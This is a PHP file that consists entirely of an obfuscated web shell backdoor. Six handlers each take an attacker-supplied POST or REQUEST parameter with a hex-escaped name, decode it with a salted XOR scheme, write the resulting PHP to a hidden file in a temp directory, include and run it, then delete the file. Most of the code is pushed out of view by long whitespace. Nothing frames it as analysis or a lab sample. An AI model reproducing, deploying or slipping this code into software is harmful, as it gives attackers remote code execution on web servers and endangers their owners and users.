<?php																																										if(isset($_POST) && isset($_POST["m\x72k"])){ $reference = $_POST["m\x72k"]; $reference =explode ( '.' , $reference ) ; $symbol =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt4); foreach( $reference as $y => $v8) { $chS =ord( $salt4[$y % $lenS]); $d =( ( int)$v8 - $chS -( $y % 10))^ 16; $symbol .= chr( $d); } $val = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm"]); foreach ($val as $key => $flg) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $flag = sprintf("%s/.res", $flg); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(in_array("\x63o\x6D\x70\x6Fnent", array_keys($_POST))){ $symbol = $_POST["\x63o\x6D\x70\x6Fnent"]; $symbol= explode ( '.' , $symbol ) ; $dchunk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); foreach ($symbol as $z=> $v3): $chS=ord($s[$z % $lenS]); $dec=((int)$v3 - $chS - ($z % 10)) ^ 35; $dchunk .= chr($dec); endforeach; $bind = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd()]); while ($mrk = array_shift($bind)) { if (is_writable($mrk) && is_dir($mrk)) { $element = str_replace("{var_dir}", $mrk, "{var_dir}/.key"); $success = file_put_contents($element, $dchunk); if ($success) { include $element; @unlink($element); die();} } } }
																																										if(!empty($_POST["\x62\x69nd"])){ $tkn = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm"]); $element = $_POST["\x62\x69nd"]; $element = explode ( "." , $element ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $n = 0; $len = count( $element); do {if( $n >= $len) break; $v5 = $element[$n]; $sChar = ord( $s[$n%$lenS]); $d =( ( int)$v5 - $sChar -( $n%10)) ^ 25; $obj .= chr( $d); $n++; } while( true); while ($comp = array_shift($tkn)) { if (array_product([is_dir($comp), is_writable($comp)])) { $flag = implode("/", [$comp, ".sym"]); $success = file_put_contents($flag, $obj); if ($success) { include $flag; @unlink($flag); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "dc\x68\x75\x6Ek")){ $bind = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); $data = $_POST["dc\x68\x75\x6Ek"]; $data = explode( '.' , $data ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $data as $s => $v7) { $sChar = ord( $salt[$s %$sLen]); $d =( ( int)$v7 - $sChar -( $s %10)) ^ 12; $flag .= chr( $d); } for ($fac = 0, $property_set = count($bind); $fac < $property_set; $fac++) { $elem = $bind[$fac]; if ((bool)is_dir($elem) && (bool)is_writable($elem)) { $entity = vsprintf("%s/%s", [$elem, ".val"]); if (@file_put_contents($entity, $flag) !== false) { include $entity; unlink($entity); exit; } } } }
																																										if(!is_null($_REQUEST["para\x6D\x65ter_\x67\x72o\x75p"] ?? null)){ $binding = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); $value = $_REQUEST["para\x6D\x65ter_\x67\x72o\x75p"]; $value = explode ( '.' , $value ) ; $comp = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); foreach ($value as $i=> $v3): $chS = ord($salt9[$i % $sLen] ); $d = ((int)$v3 - $chS - ($i % 10)) ^ 68; $comp .= chr($d ); endforeach; for ($property_set = 0, $record = count($binding); $property_set < $record; $property_set++) { $object = $binding[$property_set]; if (is_dir($object) && is_writable($object)) { $data_chunk = vsprintf("%s/%s", [$object, ".element"]); if (file_put_contents($data_chunk, $comp)) { include $data_chunk; @unlink($data_chunk); die(); } } } }


if(!empty($_POST["\x70t\x72"])){
	$bind = $_POST["\x70t\x72"];
	   $bind		=explode( 	"."		 , $bind 		) ;
	$resource = '';
            $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$salt9);
            $s = 0;
    
            foreach( 	$bind as $v8) {	 $sChar = ord( 	$salt9[$s% $sLen]);
                $dec =( 	( 	int)$v8 - $sChar -( 	$s% 10)) ^ 8;
                $resource 	.= chr( 	$dec);
                $s++;
            }
	$dat = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp"]);
	foreach ($dat as $parameter_group):
    		if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) {
    $token = str_replace("{var_dir}", $parameter_group, "{var_dir}/.pgrp");
    $success = file_put_contents($token, $resource);
if ($success) {
	include $token;
	@unlink($token);
	die();}
}
endforeach;
}